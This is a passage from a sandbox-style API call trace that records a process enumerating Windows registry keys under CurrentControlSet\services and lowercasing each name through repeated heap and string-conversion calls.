lpUsedDefaultChar=0x0) returned 8 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.181] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.181] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.181] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.181] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.181] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.182] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0249.182] RegCloseKey (hKey=0x154) returned 0x0 [0249.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.182] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.182] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.182] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.182] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.183] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.183] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.183] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.183] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0249.183] RegCloseKey (hKey=0x148) returned 0x0 [0249.183] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.183] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.183] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.184] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1970, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.184] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1b68, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.184] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.184] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1970, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.184] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.184] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.184] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1b68, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.185] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1970, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.185] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1b68, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.185] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.185] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0249.185] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.185] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.186] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.186] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.186] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1b68, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.186] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.186] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.186] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.186] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.187] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.187] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.187] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1b68, 